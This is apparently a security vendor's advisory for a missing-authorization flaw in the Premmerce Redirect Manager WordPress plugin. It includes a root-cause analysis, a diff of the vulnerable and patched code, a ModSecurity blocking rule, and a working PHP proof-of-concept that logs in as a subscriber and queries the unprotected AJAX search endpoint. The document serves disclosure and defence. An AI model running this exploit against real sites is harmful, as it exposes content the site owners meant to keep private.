Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 1, 2026

CVE-2026-32541: Premmerce Redirect Manager <= 1.0.12 – Missing Authorization (premmerce-redirect-manager)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.0.12
Patched Version 1.0.13
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32541:
The Premmerce Redirect Manager plugin for WordPress versions up to and including 1.0.12 contains a missing authorization vulnerability. The plugin fails to verify user permissions before executing the getPostsByString AJAX handler. This allows authenticated attackers with Subscriber-level access or higher to perform unauthorized searches for posts, pages, products, and taxonomy terms.

Root Cause:
The vulnerability exists in the getPostsByString function within the Admin.php file. The function at line 248 in src/Admin/Admin.php processes POST requests without any capability check. The function directly accesses $_POST[‘type’] and passes user input to the model’s getPostsByString method. No authorization or nonce verification occurs before executing the search query, violating WordPress security best practices for AJAX handlers.

Exploitation:
Attackers can exploit this vulnerability by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to premmerce_redirect_get_posts. The request must include the type parameter specifying the search target (product, post, page, product_cat, or category) and an optional s parameter containing search terms. Subscriber-level authenticated users can use this endpoint to search through content they should not have access to, potentially discovering unpublished or private content.

Patch Analysis:
Version 1.0.13 adds three security measures to the getPostsByString function. First, it implements a capability check requiring manage_options permission (line 250). Second, it adds nonce verification using premmerce_redirect_search (line 254). Third, it sanitizes user input with sanitize_text_field before passing to the model (lines 258-261). The patch also localizes the nonce to JavaScript (line 342) and restricts allowed post types and taxonomies in the model (lines 168-169).

Impact:
Successful exploitation allows authenticated attackers with minimal privileges to search the WordPress database for posts, pages, products, and taxonomy terms. This information disclosure could reveal unpublished content, internal content structure, or sensitive information. While the vulnerability does not directly enable modification or deletion, the exposed information could facilitate further attacks by identifying valuable targets or understanding site architecture.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/premmerce-redirect-manager/premmerce-redirect.php
+++ b/premmerce-redirect-manager/premmerce-redirect.php
@@ -9,7 +9,7 @@
  * Plugin Name:       Premmerce Redirect Manager
  * Plugin URI:        https://premmerce.com/woocommerce-redirect-manager/
  * Description:       The Premmerce Redirect Manager enables you to create 301 and 302 redirects and to set up the automatic redirects for the deleted products in the WooCommerce store.
- * Version:           1.0.12
+ * Version:           1.0.13
  * Author:            Premmerce
  * Author URI:        https://premmerce.com
  * License:           GPL-2.0+
--- a/premmerce-redirect-manager/src/Admin/Admin.php
+++ b/premmerce-redirect-manager/src/Admin/Admin.php
@@ -248,8 +248,20 @@
      */
     public function getPostsByString()
     {
+        if (! current_user_can('manage_options')) {
+            wp_send_json_error(array( 'message' => __('You do not have permission to perform this action.', 'premmerce-redirect') ), 403);
+        }
+
+        if (! isset($_POST['_wpnonce']) || ! wp_verify_nonce(wp_unslash($_POST['_wpnonce']), 'premmerce_redirect_search')) {
+            wp_send_json_error(array( 'message' => __('Security check failed.', 'premmerce-redirect') ), 403);
+        }
+
         if (isset($_POST['type'])) {
-            $objects = $this->model->getPostsByString($_POST);
+            $data = array(
+                'type' => sanitize_text_field($_POST['type']),
+                's'    => isset($_POST['s']) ? sanitize_text_field($_POST['s']) : '',
+            );
+            $objects = $this->model->getPostsByString($data);

             wp_send_json($objects);
         }
@@ -327,6 +339,9 @@
     {
         wp_enqueue_script('select2', $this->fileManager->locateAsset('admin/js/select2.min.js'));
         wp_enqueue_script('premmerce-redirect', $this->fileManager->locateAsset('admin/js/premmerce-redirect.js'));
+        wp_localize_script('premmerce-redirect', 'premmerceRedirect', array(
+            'nonce' => wp_create_nonce('premmerce_redirect_search'),
+        ));
         wp_enqueue_style('select2', $this->fileManager->locateAsset('admin/css/select2.min.css'));
         wp_enqueue_style('premmerce-redirect', $this->fileManager->locateAsset('admin/css/premmerce-redirect.css'));

--- a/premmerce-redirect-manager/src/Admin/RedirectsTable.php
+++ b/premmerce-redirect-manager/src/Admin/RedirectsTable.php
@@ -139,7 +139,7 @@
             $data = $this->api->getRedirects();
         } else {
             $data = $this->api->getRedirects(false);
-//                ['redirect_type', 'NOT IN', ['product', 'product_category']]
+            //                ['redirect_type', 'NOT IN', ['product', 'product_category']]
         }

         if (isset($_POST['s']) && $_POST['s']) {
--- a/premmerce-redirect-manager/src/RedirectModel.php
+++ b/premmerce-redirect-manager/src/RedirectModel.php
@@ -166,18 +166,25 @@
      */
     public function getPostsByString($data)
     {
-        if (in_array($data['type'], array('product', 'post', 'page'))) {
+        $allowed_post_types = array( 'product', 'post', 'page' );
+        $allowed_taxonomies = array( 'product_cat', 'category' );
+
+        if (in_array($data['type'], $allowed_post_types, true)) {
             $objects = (new WP_Query(array(
-                's'           => isset($data['s'])? $data['s'] : '',
-                'post_type'   => $data['type'],
-                'numberposts' => 10,
+                's'              => isset($data['s']) ? $data['s'] : '',
+                'post_type'      => $data['type'],
+                'posts_per_page' => 10,
+                'has_password'   => false,
+                'post_status'    => 'publish',
             )))->posts;
-        } else {
+        } elseif (in_array($data['type'], $allowed_taxonomies, true)) {
             $objects = get_terms(array(
                 'hide_empty' => false,
-                'search'     => isset($data['s'])? $data['s'] : '',
+                'search'     => isset($data['s']) ? $data['s'] : '',
                 'taxonomy'   => $data['type'],
             ));
+        } else {
+            $objects = array();
         }

         return $objects;
--- a/premmerce-redirect-manager/src/RedirectPlugin.php
+++ b/premmerce-redirect-manager/src/RedirectPlugin.php
@@ -65,6 +65,7 @@
      */
     public function useRedirect()
     {
+
         global $wp;

         $uri = '/' . $wp->request;
@@ -105,6 +106,7 @@
             }

             if ($url) {
+
                 if ($_SERVER['QUERY_STRING']) {
                     // get query args from the redirection target
                     $url_query = wp_parse_url($url, PHP_URL_QUERY);
--- a/premmerce-redirect-manager/vendor/autoload.php
+++ b/premmerce-redirect-manager/vendor/autoload.php
@@ -14,12 +14,9 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit1aa059d654e1d610545d4e5ff8bd5f67::getLoader();
+return ComposerAutoloaderInitde07ce47490c4cc28cdaafe6d3015c14::getLoader();
--- a/premmerce-redirect-manager/vendor/composer/InstalledVersions.php
+++ b/premmerce-redirect-manager/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,19 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
                     /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                     $required = require $vendorDir.'/composer/installed.php';
-                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -350,7 +387,7 @@
             }
         }

-        if (self::$installed !== array()) {
+        if (self::$installed !== array() && !$copiedLocalDir) {
             $installed[] = self::$installed;
         }

--- a/premmerce-redirect-manager/vendor/composer/autoload_real.php
+++ b/premmerce-redirect-manager/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit1aa059d654e1d610545d4e5ff8bd5f67
+class ComposerAutoloaderInitde07ce47490c4cc28cdaafe6d3015c14
 {
     private static $loader;

@@ -22,12 +22,12 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInit1aa059d654e1d610545d4e5ff8bd5f67', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitde07ce47490c4cc28cdaafe6d3015c14', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit1aa059d654e1d610545d4e5ff8bd5f67', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitde07ce47490c4cc28cdaafe6d3015c14', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit1aa059d654e1d610545d4e5ff8bd5f67::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitde07ce47490c4cc28cdaafe6d3015c14::getInitializer($loader));

         $loader->register(true);

--- a/premmerce-redirect-manager/vendor/composer/autoload_static.php
+++ b/premmerce-redirect-manager/vendor/composer/autoload_static.php
@@ -4,10 +4,10 @@

 namespace ComposerAutoload;

-class ComposerStaticInit1aa059d654e1d610545d4e5ff8bd5f67
+class ComposerStaticInitde07ce47490c4cc28cdaafe6d3015c14
 {
     public static $prefixLengthsPsr4 = array (
-        'P' =>
+        'P' =>
         array (
             'Premmerce\SDK\' => 14,
             'Premmerce\Redirect\' => 19,
@@ -15,11 +15,11 @@
     );

     public static $prefixDirsPsr4 = array (
-        'Premmerce\SDK\' =>
+        'Premmerce\SDK\' =>
         array (
             0 => __DIR__ . '/..' . '/premmerce/wordpress-sdk/src',
         ),
-        'Premmerce\Redirect\' =>
+        'Premmerce\Redirect\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
@@ -32,9 +32,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit1aa059d654e1d610545d4e5ff8bd5f67::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit1aa059d654e1d610545d4e5ff8bd5f67::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit1aa059d654e1d610545d4e5ff8bd5f67::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitde07ce47490c4cc28cdaafe6d3015c14::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitde07ce47490c4cc28cdaafe6d3015c14::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInitde07ce47490c4cc28cdaafe6d3015c14::$classMap;

         }, null, ClassLoader::class);
     }
--- a/premmerce-redirect-manager/vendor/composer/installed.php
+++ b/premmerce-redirect-manager/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'premmerce/premmerce-redirect',
-        'pretty_version' => 'dev-master',
-        'version' => 'dev-master',
-        'reference' => 'c99bb34d37f2228ff217eed00a8aceff549c7f75',
+        'pretty_version' => '1.0.13',
+        'version' => '1.0.13.0',
+        'reference' => '1432f8c7efeb7cf444d00d909a50a54ef1446d70',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'premmerce/premmerce-redirect' => array(
-            'pretty_version' => 'dev-master',
-            'version' => 'dev-master',
-            'reference' => 'c99bb34d37f2228ff217eed00a8aceff549c7f75',
+            'pretty_version' => '1.0.13',
+            'version' => '1.0.13.0',
+            'reference' => '1432f8c7efeb7cf444d00d909a50a54ef1446d70',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32541
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100032541,phase:2,deny,status:403,chain,msg:'CVE-2026-32541 via Premmerce Redirect Manager AJAX - Missing Authorization',severity:'MEDIUM',tag:'CVE-2026-32541',tag:'WordPress',tag:'Plugin',tag:'Premmerce-Redirect-Manager'"
  SecRule ARGS_POST:action "@streq premmerce_redirect_get_posts" "chain"
    SecRule &ARGS_POST:_wpnonce "@eq 0" "chain"
      SecRule ARGS_POST:type "@rx ^(product|post|page|product_cat|category)$"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32541 - Premmerce Redirect Manager <= 1.0.12 - Missing Authorization

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate to WordPress
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_32541_');

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => str_replace('/wp-admin/admin-ajax.php', '/wp-admin/', $target_url),
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Exploit the missing authorization vulnerability
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'premmerce_redirect_get_posts',
        'type' => 'product',  // Can be: product, post, page, product_cat, category
        's' => 'test'         // Search term
    ]),
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Clean up and display results
unlink($cookie_file);

echo "HTTP Response Code: $http_coden";
echo "Response Body:n";
echo $response;

// If the response contains JSON data with search results, the vulnerability exists
// In patched versions (1.0.13+), you will receive a 403 error with permission denied message
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School